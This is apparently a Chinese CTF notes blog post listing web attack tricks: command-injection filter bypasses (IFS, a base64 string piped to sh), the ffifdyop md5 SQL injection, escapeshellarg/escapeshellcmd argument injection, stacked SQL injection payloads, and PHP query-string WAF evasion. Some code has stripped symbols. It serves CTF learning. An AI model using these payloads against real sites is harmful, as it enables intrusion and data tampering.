CTF知识点总结(三)

空格绕过方式:

复制代码

IFS {IFS} IFS数字 < <>

三种绕过方式:

1.sh

复制代码

/?ip=127.0.0.1;echoIFS2Y2F0IGZsYWcucGhw|base64IFS2-d|sh

2.变量拼接

复制代码

/?ip=127.0.0.1;a=g;catIFS2fla$a.php

3.内联注释(将反引号命令的结果作为输入来执行命令)

复制代码

/?ip=127.0.0.1;catIFS2`ls`

2 |0 md5()漏洞

​ ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ' or '6,

3 |0 escapeshellarg()与escapeshellcmd()漏洞

复制代码

<?php a="172.17.0.2' -v -d a=1"; b=escapeshellarg(a); c=escapeshellcmd(b); echo a."<br/>".b."\
".
c; system($c); ?>

输出

172.17.0.2' -v -d a=1

'172.17.0.2''' -v -d a=1'

'172.17.0.2''' -v -d a=1'

1.$a传入的参数是172.17.0.2' -v -d a=1

2.经过escapeshellargs()处理后成为*'172.17.0.2'' -v -d a=1'* 即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

3.经过escapeshellcmd()处理后成为*'172.17.0.2''' -v -d a=1'* 这是因为escapeshellcmd对以及最后那个不配对儿的引号进行了转义

4.最后执行的是 '172.17.0.2''' -v -d a=1',由于中间的被解释为而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。

所以可以简化为 172.17.0.2 -v -d a=1',即向172.17.0.2发起请求,POST 数据为a=1'。

这样就能绕过过滤进行注入。

4 |0 sql注入绕过关键字

获取信息

复制代码

show databases; show tables; show columns from `table_name`;

修改表名

复制代码

1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(50);#

预编译

复制代码

1'; SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460; prepare execsql from @a; execute execsql;#

另外,新知识,HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

复制代码

1'; HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#

5 |0 preg_replace/e的命令执行漏洞

6 |0 MYSQL特殊模式(set sql_mode=pipes_as_concat)

​ 此模式下,输出字符串可以进行拼接

7 |0 PHP字符串解析特性(Easy Calc)

​ PHP将查询字符串(在URL或正文中)转换为内部_GET或的关联数组_POST。例如:/?foo=bar变成Array([foo] => "bar")。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。

​ 假如waf不允许num变量传递字母:

复制代码

http://www.xxx.com/index.php?num = aaaa //显示非法输入的话

那么我们可以在num前加个空格:

复制代码

http://www.xxx.com/index.php? num = aaaa

这样waf就找不到num这个变量了,因为现在的变量叫" num",而不是"num"。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

另外scandir()可列出目录和文件,scandir(/)扫描目录下所有文件,如果 / 被过滤,可以用char(47)绕过

相关推荐
liebe1*19 分钟前
第七章 防火墙地址转换
运维·服务器·网络
KingRumn18 分钟前
Linux同步机制之信号量
linux·服务器·网络
嘻哈baby1 小时前
DDNS动态域名解析方案对比与实战配置
网络
捷米研发三部1 小时前
Profinet转ModbusTCP网关:实现西门子1200PLC与打标卡稳定通讯
网络
課代表2 小时前
Windows 系统中查看已保存的WiFi密码
网络·windows·wifi·路由·netsh·无线·命令提示符
猫天意3 小时前
【即插即用模块】AAAI2026 | MHCB+DPA:特征提取+双池化注意力,涨点必备,SCI保二争一!彻底疯狂!!!
网络·人工智能·深度学习·算法·yolo
她是太阳,好耀眼i3 小时前
配置FTP目录文件以http网址方式访问并下载
网络·网络协议·http
醇氧3 小时前
在 Spring Service 中使用 private final Gson gson = new Gson(); 是否安全?
java·安全·spring
chenyuhao20243 小时前
Linux系统编程:Ext文件系统
linux·运维·服务器·开发语言·网络·c++·后端
梦里不知身是客113 小时前
网络安全中对称算法和非对称算法的作用和区别
安全·web安全